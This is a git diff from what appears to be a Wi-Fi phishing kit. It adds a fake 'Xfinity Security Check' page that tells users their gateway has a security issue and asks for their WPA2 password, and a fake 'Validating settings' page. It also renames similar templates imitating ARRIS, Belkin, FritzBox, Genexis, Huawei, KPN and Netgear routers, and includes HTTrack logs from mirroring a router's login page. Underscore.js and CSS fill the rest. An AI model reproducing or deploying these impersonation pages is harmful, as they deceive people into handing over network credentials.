'object') return false; + // Check for different array lengths before comparing contents. + if (a.length && (a.length !== b.length)) return false; + // Nothing else worked, deep compare the contents. + var aKeys = _.keys(a), bKeys = _.keys(b); + // Different object sizes? + if (aKeys.length != bKeys.length) return false; + // Recursive comparison of contents. + for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false; + return true; + }; + + // Is a given array or object empty? + _.isEmpty = function(obj) { + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (hasOwnProperty.call(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return !!(obj && obj.concat && obj.unshift && !obj.callee); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return !!(obj && obj.callee); + }; + + // Is a given value a function? + _.isFunction = function(obj) { + return !!(obj && obj.constructor && obj.call && obj.apply); + }; + + // Is a given value a string? + _.isString = function(obj) { + return !!(obj === '' || (obj && obj.charCodeAt && obj.substr)); + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return (obj === +obj) || (toString.call(obj) === '[object Number]'); + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear); + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false)); + }; + + // Is the given value NaN -- this one is interesting. NaN != NaN, and + // isNaN(undefined) == true, so we make sure it's a number first. + _.isNaN = function(obj) { + return _.isNumber(obj) && isNaN(obj); + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return typeof obj == 'undefined'; + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + _.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Break out of the middle of an iteration. + _.breakLoop = function() { + throw breaker; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(str, data) { + var c = _.templateSettings; + var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' + + 'with(obj||{}){__p.push(\'' + + str.replace(/'/g, "\\'") + .replace(c.interpolate, function(match, code) { + return "'," + code.replace(/\\'/g, "'") + ",'"; + }) + .replace(c.evaluate || null, function(match, code) { + return "');" + code.replace(/\\'/g, "'") + .replace(/[\r\n\t]/g, ' ') + "__p.push('"; + }) + .replace(/\r/g, '\\r') + .replace(/\n/g, '\\n') + .replace(/\t/g, '\\t') + + "');}return __p.join('');"; + var func = new Function('obj', tmpl); + return data ? func(data) : func; + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + method.apply(this._wrapped, arguments); + return result(this._wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +})(); diff --git a/sites/Login-Xfinity/Xfinity_files/w b/sites/Login-Xfinity/Xfinity_files/w new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/w @@ -0,0 +1 @@ + diff --git a/sites/Login-Xfinity/index.html b/sites/Login-Xfinity/index.html new file mode 100755 index 0000000..c2e3028 --- /dev/null +++ b/sites/Login-Xfinity/index.html @@ -0,0 +1,242 @@ + + + + Xfinity Security Check + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + +
    + +
    + +
    +

    Security Check

    + + + + +
    + +
    +

    Your XFINITY™ Wireless Gateway detected a security issue. Please enter your wireless security settings to proceed.

    +
    + +
    + +
    +
       WPA2 Password: +
    Confirm Password: +
    +
    +
    + + +
    + + + +
    + + \ No newline at end of file diff --git a/sites/Login-Xfinity/upgrading.html b/sites/Login-Xfinity/upgrading.html new file mode 100755 index 0000000..d9bc0ca --- /dev/null +++ b/sites/Login-Xfinity/upgrading.html @@ -0,0 +1,238 @@ + + + + Vaidate Settings + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + +
    + +
    + +
    +

    Validating Settings

    + + + +
    + +
    +

    Validating your settings... Please wait about 1 minute.

    +
    + +
    + + +
    +
    + + +
    + + + +
    + + \ No newline at end of file diff --git a/sites/ARRIS-ESP/ayuda.htm b/sites/arris_esp/ayuda.htm similarity index 100% rename from sites/ARRIS-ESP/ayuda.htm rename to sites/arris_esp/ayuda.htm diff --git a/sites/ARRIS-ESP/background.png b/sites/arris_esp/background.png similarity index 100% rename from sites/ARRIS-ESP/background.png rename to sites/arris_esp/background.png diff --git a/sites/ARRIS-ESP/error.html b/sites/arris_esp/error.html similarity index 100% rename from sites/ARRIS-ESP/error.html rename to sites/arris_esp/error.html diff --git a/sites/ARRIS-ESP/final.html b/sites/arris_esp/final.html similarity index 100% rename from sites/ARRIS-ESP/final.html rename to sites/arris_esp/final.html diff --git a/sites/ARRIS-ESP/house.png b/sites/arris_esp/house.png similarity index 100% rename from sites/ARRIS-ESP/house.png rename to sites/arris_esp/house.png diff --git a/sites/ARRIS-ESP/house1.png b/sites/arris_esp/house1.png similarity index 100% rename from sites/ARRIS-ESP/house1.png rename to sites/arris_esp/house1.png diff --git a/sites/ARRIS-ESP/index.htm b/sites/arris_esp/index.htm similarity index 100% rename from sites/ARRIS-ESP/index.htm rename to sites/arris_esp/index.htm diff --git a/sites/ARRIS-ESP/info.css b/sites/arris_esp/info.css similarity index 100% rename from sites/ARRIS-ESP/info.css rename to sites/arris_esp/info.css diff --git a/sites/ARRIS-ESP/info.html b/sites/arris_esp/info.html similarity index 100% rename from sites/ARRIS-ESP/info.html rename to sites/arris_esp/info.html diff --git a/sites/ARRIS-ESP/info2.css b/sites/arris_esp/info2.css similarity index 100% rename from sites/ARRIS-ESP/info2.css rename to sites/arris_esp/info2.css diff --git a/sites/BELKIN-ENG/ayuda.htm b/sites/belkin_eng/ayuda.htm similarity index 100% rename from sites/BELKIN-ENG/ayuda.htm rename to sites/belkin_eng/ayuda.htm diff --git a/sites/BELKIN-ENG/background.png b/sites/belkin_eng/background.png similarity index 100% rename from sites/BELKIN-ENG/background.png rename to sites/belkin_eng/background.png diff --git a/sites/BELKIN-ENG/error.html b/sites/belkin_eng/error.html similarity index 100% rename from sites/BELKIN-ENG/error.html rename to sites/belkin_eng/error.html diff --git a/sites/BELKIN-ENG/final.html b/sites/belkin_eng/final.html similarity index 100% rename from sites/BELKIN-ENG/final.html rename to sites/belkin_eng/final.html diff --git a/sites/BELKIN-ENG/house.png b/sites/belkin_eng/house.png similarity index 100% rename from sites/BELKIN-ENG/house.png rename to sites/belkin_eng/house.png diff --git a/sites/BELKIN-ENG/house1.png b/sites/belkin_eng/house1.png similarity index 100% rename from sites/BELKIN-ENG/house1.png rename to sites/belkin_eng/house1.png diff --git a/sites/BELKIN-ENG/index.htm b/sites/belkin_eng/index.htm similarity index 100% rename from sites/BELKIN-ENG/index.htm rename to sites/belkin_eng/index.htm diff --git a/sites/BELKIN-ENG/info.css b/sites/belkin_eng/info.css similarity index 100% rename from sites/BELKIN-ENG/info.css rename to sites/belkin_eng/info.css diff --git a/sites/BELKIN-ENG/info.html b/sites/belkin_eng/info.html similarity index 100% rename from sites/BELKIN-ENG/info.html rename to sites/belkin_eng/info.html diff --git a/sites/BELKIN-ENG/info2.css b/sites/belkin_eng/info2.css similarity index 100% rename from sites/BELKIN-ENG/info2.css rename to sites/belkin_eng/info2.css diff --git a/sites/FRITZBOX_DE/bg.png b/sites/fritzbox_de/bg.png similarity index 100% rename from sites/FRITZBOX_DE/bg.png rename to sites/fritzbox_de/bg.png diff --git a/sites/FRITZBOX_DE/error.html b/sites/fritzbox_de/error.html similarity index 100% rename from sites/FRITZBOX_DE/error.html rename to sites/fritzbox_de/error.html diff --git a/sites/FRITZBOX_DE/final.html b/sites/fritzbox_de/final.html similarity index 100% rename from sites/FRITZBOX_DE/final.html rename to sites/fritzbox_de/final.html diff --git a/sites/FRITZBOX_DE/header.png b/sites/fritzbox_de/header.png similarity index 100% rename from sites/FRITZBOX_DE/header.png rename to sites/fritzbox_de/header.png diff --git a/sites/FRITZBOX_DE/header_small.png b/sites/fritzbox_de/header_small.png similarity index 100% rename from sites/FRITZBOX_DE/header_small.png rename to sites/fritzbox_de/header_small.png diff --git a/sites/FRITZBOX_DE/icon0.png b/sites/fritzbox_de/icon0.png similarity index 100% rename from sites/FRITZBOX_DE/icon0.png rename to sites/fritzbox_de/icon0.png diff --git a/sites/FRITZBOX_DE/icon1.png b/sites/fritzbox_de/icon1.png similarity index 100% rename from sites/FRITZBOX_DE/icon1.png rename to sites/fritzbox_de/icon1.png diff --git a/sites/FRITZBOX_DE/icon2.png b/sites/fritzbox_de/icon2.png similarity index 100% rename from sites/FRITZBOX_DE/icon2.png rename to sites/fritzbox_de/icon2.png diff --git a/sites/FRITZBOX_DE/icon3.png b/sites/fritzbox_de/icon3.png similarity index 100% rename from sites/FRITZBOX_DE/icon3.png rename to sites/fritzbox_de/icon3.png diff --git a/sites/FRITZBOX_DE/index.html b/sites/fritzbox_de/index.html similarity index 100% rename from sites/FRITZBOX_DE/index.html rename to sites/fritzbox_de/index.html diff --git a/sites/FRITZBOX_ENG/bg.png b/sites/fritzbox_eng/bg.png similarity index 100% rename from sites/FRITZBOX_ENG/bg.png rename to sites/fritzbox_eng/bg.png diff --git a/sites/FRITZBOX_ENG/error.html b/sites/fritzbox_eng/error.html similarity index 100% rename from sites/FRITZBOX_ENG/error.html rename to sites/fritzbox_eng/error.html diff --git a/sites/FRITZBOX_ENG/final.html b/sites/fritzbox_eng/final.html similarity index 100% rename from sites/FRITZBOX_ENG/final.html rename to sites/fritzbox_eng/final.html diff --git a/sites/FRITZBOX_ENG/header.png b/sites/fritzbox_eng/header.png similarity index 100% rename from sites/FRITZBOX_ENG/header.png rename to sites/fritzbox_eng/header.png diff --git a/sites/FRITZBOX_ENG/header_small.png b/sites/fritzbox_eng/header_small.png similarity index 100% rename from sites/FRITZBOX_ENG/header_small.png rename to sites/fritzbox_eng/header_small.png diff --git a/sites/FRITZBOX_ENG/icon0.png b/sites/fritzbox_eng/icon0.png similarity index 100% rename from sites/FRITZBOX_ENG/icon0.png rename to sites/fritzbox_eng/icon0.png diff --git a/sites/FRITZBOX_ENG/icon1.png b/sites/fritzbox_eng/icon1.png similarity index 100% rename from sites/FRITZBOX_ENG/icon1.png rename to sites/fritzbox_eng/icon1.png diff --git a/sites/FRITZBOX_ENG/icon2.png b/sites/fritzbox_eng/icon2.png similarity index 100% rename from sites/FRITZBOX_ENG/icon2.png rename to sites/fritzbox_eng/icon2.png diff --git a/sites/FRITZBOX_ENG/icon3.png b/sites/fritzbox_eng/icon3.png similarity index 100% rename from sites/FRITZBOX_ENG/icon3.png rename to sites/fritzbox_eng/icon3.png diff --git a/sites/FRITZBOX_ENG/index.html b/sites/fritzbox_eng/index.html similarity index 100% rename from sites/FRITZBOX_ENG/index.html rename to sites/fritzbox_eng/index.html diff --git a/sites/GENEXIS_DE/error.html b/sites/genenix_de/error.html similarity index 100% rename from sites/GENEXIS_DE/error.html rename to sites/genenix_de/error.html diff --git a/sites/GENEXIS_DE/final.html b/sites/genenix_de/final.html similarity index 100% rename from sites/GENEXIS_DE/final.html rename to sites/genenix_de/final.html diff --git a/sites/GENEXIS_DE/genexis-logo-small.jpg b/sites/genenix_de/genexis-logo-small.jpg similarity index 100% rename from sites/GENEXIS_DE/genexis-logo-small.jpg rename to sites/genenix_de/genexis-logo-small.jpg diff --git a/sites/GENEXIS_DE/index.html b/sites/genenix_de/index.html similarity index 100% rename from sites/GENEXIS_DE/index.html rename to sites/genenix_de/index.html diff --git a/sites/GENEXIS_DE/spinner.gif b/sites/genenix_de/spinner.gif similarity index 100% rename from sites/GENEXIS_DE/spinner.gif rename to sites/genenix_de/spinner.gif diff --git a/sites/hts-cache/doit.log b/sites/hts-cache/doit.log new file mode 100644 index 0000000..62452ba --- /dev/null +++ b/sites/hts-cache/doit.log @@ -0,0 +1,8 @@ +192.168.1.1 +File generated automatically on Mon, 13 Mar 2017 20:21:37, do NOT edit + +To update a mirror, just launch httrack without any parameters +The existing cache will be used (and modified) +To have other options, retype all parameters and launch HTTrack +To continue an interrupted mirror, just launch httrack without any parameters + diff --git a/sites/hts-cache/new.lst b/sites/hts-cache/new.lst new file mode 100644 index 0000000..44dcd12 --- /dev/null +++ b/sites/hts-cache/new.lst @@ -0,0 +1,7 @@ +[backblue.gif] +[fade.gif] +[index.html] +[192.168.1.1/img/login/logo.png] +[192.168.1.1/img/login/icons-01.png] +[192.168.1.1/index.html] +[192.168.1.1/img/login/icons-02.png] diff --git a/sites/hts-cache/new.txt b/sites/hts-cache/new.txt new file mode 100644 index 0000000..bed87f5 --- /dev/null +++ b/sites/hts-cache/new.txt @@ -0,0 +1,6 @@ +date size'/'remotesize flags(request:Update,Range state:File response:Modified,Chunked,gZipped) statuscode status ('servermsg') MIME Etag|Date URL localfile (from URL) +20:21:38 106/106 ---M-- 403 error ('Forbidden') text/html http://192.168.1.1/robots.txt (from ) +20:21:38 16677/16677 ---M-- 200 added ('OK') text/html http://192.168.1.1/ 192.168.1.1/index.html (from ) +20:21:38 935/935 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/logo.png 192.168.1.1/img/login/logo.png (from http://192.168.1.1/) +20:21:40 16060/16060 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/icons-02.png 192.168.1.1/img/login/icons-02.png (from http://192.168.1.1/) +20:21:41 51843/51843 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/icons-01.png 192.168.1.1/img/login/icons-01.png (from http://192.168.1.1/) diff --git a/sites/hts-cache/new.zip b/sites/hts-cache/new.zip new file mode 100644 index 0000000..5541421 Binary files /dev/null and b/sites/hts-cache/new.zip differ diff --git a/sites/HUAWEI-ENG/ayuda.htm b/sites/huawei_eng/ayuda.htm similarity index 100% rename from sites/HUAWEI-ENG/ayuda.htm rename to sites/huawei_eng/ayuda.htm diff --git a/sites/HUAWEI-ENG/background.png b/sites/huawei_eng/background.png similarity index 100% rename from sites/HUAWEI-ENG/background.png rename to sites/huawei_eng/background.png diff --git a/sites/HUAWEI-ENG/error.html b/sites/huawei_eng/error.html similarity index 100% rename from sites/HUAWEI-ENG/error.html rename to sites/huawei_eng/error.html diff --git a/sites/HUAWEI-ENG/final.html b/sites/huawei_eng/final.html similarity index 100% rename from sites/HUAWEI-ENG/final.html rename to sites/huawei_eng/final.html diff --git a/sites/HUAWEI-ENG/house.png b/sites/huawei_eng/house.png similarity index 100% rename from sites/HUAWEI-ENG/house.png rename to sites/huawei_eng/house.png diff --git a/sites/HUAWEI-ENG/house1.png b/sites/huawei_eng/house1.png similarity index 100% rename from sites/HUAWEI-ENG/house1.png rename to sites/huawei_eng/house1.png diff --git a/sites/HUAWEI-ENG/index.htm b/sites/huawei_eng/index.htm similarity index 100% rename from sites/HUAWEI-ENG/index.htm rename to sites/huawei_eng/index.htm diff --git a/sites/HUAWEI-ENG/info.css b/sites/huawei_eng/info.css similarity index 100% rename from sites/HUAWEI-ENG/info.css rename to sites/huawei_eng/info.css diff --git a/sites/HUAWEI-ENG/info.html b/sites/huawei_eng/info.html similarity index 100% rename from sites/HUAWEI-ENG/info.html rename to sites/huawei_eng/info.html diff --git a/sites/HUAWEI-ENG/info2.css b/sites/huawei_eng/info2.css similarity index 100% rename from sites/HUAWEI-ENG/info2.css rename to sites/huawei_eng/info2.css diff --git a/sites/KPN_NL/bg.png b/sites/kpn_nl/bg.png similarity index 100% rename from sites/KPN_NL/bg.png rename to sites/kpn_nl/bg.png diff --git a/sites/KPN_NL/error.html b/sites/kpn_nl/error.html similarity index 100% rename from sites/KPN_NL/error.html rename to sites/kpn_nl/error.html diff --git a/sites/KPN_NL/final.html b/sites/kpn_nl/final.html similarity index 100% rename from sites/KPN_NL/final.html rename to sites/kpn_nl/final.html diff --git a/sites/KPN_NL/index.html b/sites/kpn_nl/index.html similarity index 100% rename from sites/KPN_NL/index.html rename to sites/kpn_nl/index.html diff --git a/sites/KPN_NL/logo.png b/sites/kpn_nl/logo.png similarity index 100% rename from sites/KPN_NL/logo.png rename to sites/kpn_nl/logo.png diff --git a/sites/Login-Netgear/Login-Netgear.zip b/sites/netgear/Login-Netgear.zip similarity index 100% rename from sites/Login-Netgear/Login-Netgear.zip rename to sites/netgear/Login-Netgear.zip diff --git a/sites/Login-Netgear/Login-Netgear.zip_base64.txt b/sites/netgear/Login-Netgear.zip_base64.txt similarity index 100% rename from sites/Login-Netgear/Login-Netgear.zip_base64.txt rename to sites/netgear/Login-Netgear.zip_base64.txt diff --git a/sites/Login-Netgear/adv-wifi.htm b/sites/netgear/adv-wifi.htm similarity index 100% rename from sites/Login-Netgear/adv-wifi.htm rename to sites/netgear/adv-wifi.htm diff --git a/sites/netgear/css/MNUAccess.css b/sites/netgear/css/MNUAccess.css new file mode 100644 index 0000000..c1e5482 --- /dev/null +++ b/sites/netgear/css/MNUAccess.css @@ -0,0 +1,27 @@ +.MNUTitle +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0099cc; + width:600px; + padding-left:20px; + font-weight:bold; +} + +.MNUText{ + font-family: Arial, Helvetica, sans-serif; + font-size:12px; + height:25px; + color:#404040; + font-weight:bold; +} +.MNUTitle2 +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0707DD; + width:600px; + font-weight:bold; +} diff --git a/sites/netgear/css/button.css b/sites/netgear/css/button.css new file mode 100644 index 0000000..d48eae8 --- /dev/null +++ b/sites/netgear/css/button.css @@ -0,0 +1,175 @@ + +button { + border: 0; + cursor: pointer; + overflow: visible; /* removes extra side padding in IE */ +} + +button:active{ + -ms-background-position-x:1px; + -ms-background-position-y:1px; +} + + +.button-grey span.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + + +.roundright_grey{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_grey.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-grey{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule span.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_button{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_button.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.button-apply span.roundleft_apply{ + padding: 3px 0 5px 20px; + width:20px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_apply.gif") no-repeat left 0px ; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_apply{ + padding: 3px 0px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_apply.gif") no-repeat right top; + color:#F2F2F2; + white-space:nowrap; +} + +.button-apply{ + padding: 5px 0px 5px 0px; + margin:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + + +.button-help-arrow{ + float:left; + margin-left:-30px; + padding-top:2px; +} + +.button-help-arrow a:hover{ + cursor:pointer; +} + +.refresh-icon{ + background-image:url('../img/refresh-icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.cancel-icon{ + background-image:url('../img/cancel_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.add-icon{ + background-image:url('../img/add_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} +.apply-icon{ + background-image:url('../img/apply_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.edit-icon{ + background-image:url('../img/edit_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.apply_bt{ height: 22px; color: #f2f2f2; font-family: Arial; font-weight: Bold; font-size: 14px; background-color: transparent; border: none; cursor: pointer; padding-bottom: 2px;} +.apply_bt{width: 130px; background: url(../img/_m_upgrade.gif) no-repeat;} diff --git a/sites/netgear/css/help.css b/sites/netgear/css/help.css new file mode 100644 index 0000000..d21eba1 --- /dev/null +++ b/sites/netgear/css/help.css @@ -0,0 +1,67 @@ +.help-text{ + font-family:Arial; +} + +h1{ + font-size:16px; + color:#989dff; + font-weight:bold; +} + + +h2{ + font-size:16px; + color:#ffffff; + font-weight:bold; +} + + +font,b{ + color:#989dff; +} + +p{ + font-size:12px; +} + + +p.inline{ + display:inline; +} + + + +body{ + font-family:Arial; + background-color:#202020; + color:#E0E0E0; + width:100%; + height:100%; + overflow:no; + font-size:12px; + + scrollbar-track-color:#767676; + scrollbar-arrow-color:#E0E0E0; + scrollbar-face-color:#E0E0E0; + scrollbar-3dlight-color:#E0E0E0; + scrollbar-highlight-color:#E0E0E0; + scrollbar-shadow-color:#E0E0E0; + scrollbar-darkshadow-color:#E0E0E0; + + +} + +li{ + font-size:12px; +} + +ul{ + font-size:12px; +} + + +b#italic{ + overflow:auto; + font-size:12px; + color:#E0E0E0; +} diff --git a/sites/netgear/css/jScrollPane.css b/sites/netgear/css/jScrollPane.css new file mode 100644 index 0000000..32abe1b --- /dev/null +++ b/sites/netgear/css/jScrollPane.css @@ -0,0 +1,64 @@ +.jScrollPaneContainer { + position: relative; + overflow: hidden; + z-index: 1; +} + +.jScrollPaneTrack { + position: absolute; + cursor: pointer; + right: 0; + top: 0; + height: 100%; + background: #aaa; +} +.jScrollPaneDrag { + position: absolute; + background: #666; + cursor: pointer; + overflow: hidden; +} +.jScrollPaneDragTop { + position: absolute; + top: 0; + left: 0; + overflow: hidden; +} +.jScrollPaneDragBottom { + position: absolute; + bottom: 0; + left: 0; + overflow: hidden; +} +a.jScrollArrowUp { + display: block; + position: absolute; + z-index: 1; + top: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: #666;*/ + height: 9px; +} +a.jScrollArrowUp:hover { + /*background-color: #f60;*/ +} + +a.jScrollArrowDown { + display: block; + position: absolute; + z-index: 1; + bottom: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: #666;*/ + height: 9px; +} +a.jScrollArrowDown:hover { + /*background-color: #f60;*/ +} +a.jScrollActiveArrowButton, a.jScrollActiveArrowButton:hover { + /*background-color: #f00;*/ +} \ No newline at end of file diff --git a/sites/netgear/css/jquery.flexbox.css b/sites/netgear/css/jquery.flexbox.css new file mode 100644 index 0000000..11bf180 --- /dev/null +++ b/sites/netgear/css/jquery.flexbox.css @@ -0,0 +1,83 @@ +/* Input textbox - do not specify a width here, it will be overwritten */ +.ffb-input +{ + float:left; + color:#000; /* must specify along with watermark color */ + height:16px; /* required for webkit browsers (Safari, Chrome) */ +} +/* Color of watermark, if present */ +.ffb-input.watermark { /* added and removed dynamically */ + color:#888; /* must specify along with input color */ +} +/* Drop-down arrow, with sprited image */ +.ffb-arrow +{ + float:left; + width:18px; + height:22px; + background-image:url(../img/sel_win7.gif); +} +.ffb-arrow.out { /* css sprite technique */ + background-position:0; +} +.ffb-arrow.over { /* css sprite technique */ + background-position:-18px 0; +} +.ffb-arrow.active { /* css sprite technique */ + background-position:-35px 0; +} +.ffb-no-results +{ + padding:2px; + color:#888; + font-style:italic; + border-bottom:1px solid #828790; +} +/* Container for dropdown contents */ +.ffb { + position:absolute; /* this guy's parent div is hard-coded to position:relative */ + overflow:hidden; + border-left:1px solid #828790; /* #7B9EBD for Vista */ + border-right:1px solid #828790; + background-color:#fff; /* Give it a background-color, so it's not transparent */ +} +/* Inner div for dropdown */ +.ffb .content { + overflow:auto; +} +.ffb .content .row { + border-bottom:0px ; + color:#000; + height:20px; + clear:both; +} +.ffb-sel { + cursor:pointer; + cursor:hand; + color:#fff !important; + background-color:#39f; +} +.ffb-match { + font-weight:bold; + color:#000; +} + +/* Paging */ +.ffb .paging { + vertical-align:middle; + border-bottom:1px solid #828790; +} +.ffb .page, .ffb a.page { + font-size:85%; + padding:2px; + border:solid 1px #339; + background-color:#eef; + margin:2px; +} +.ffb .box { + width:22px; + margin:2px; +} +.ffb .summary { + font-size:85%; +} \ No newline at end of file diff --git a/sites/netgear/css/jquery.jscrollpane.css b/sites/netgear/css/jquery.jscrollpane.css new file mode 100644 index 0000000..a051cae --- /dev/null +++ b/sites/netgear/css/jquery.jscrollpane.css @@ -0,0 +1,120 @@ +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 16px; + height: 100%; + background: red; +} + +.jspHorizontalBar +{ + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background: red; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #dde; + position: relative; +} + +.jspDrag +{ + background: #bbd; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} \ No newline at end of file diff --git a/sites/netgear/css/mainpage.css b/sites/netgear/css/mainpage.css new file mode 100644 index 0000000..45a70d9 --- /dev/null +++ b/sites/netgear/css/mainpage.css @@ -0,0 +1,182 @@ +html, body { + margin: 0; + padding: 0; + background-color:#e5e5e5; + min-height:600px; + } + + h1{ + padding-left:37%; + font-size:16px; + font-family:arial; + } + + h2{ + padding-left:20%; + font-size:14px; + font-family:arial; + } + + hr{ + border:none; + border-top:1px solid black; + height:0; + } + +.topframe{ + background-color:#2b2b2b; + color:#ffffff; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + +.newtopframe{ + background-color:#ffffff; + color:#000000; + font-size:12px; + font-family:Arial; + margin:0; + padding: 0; +} + + +.WNRTitle{ + font-family:Arial; + padding-top:0px; + padding-bottom:0px; + margin-top: 0px; + 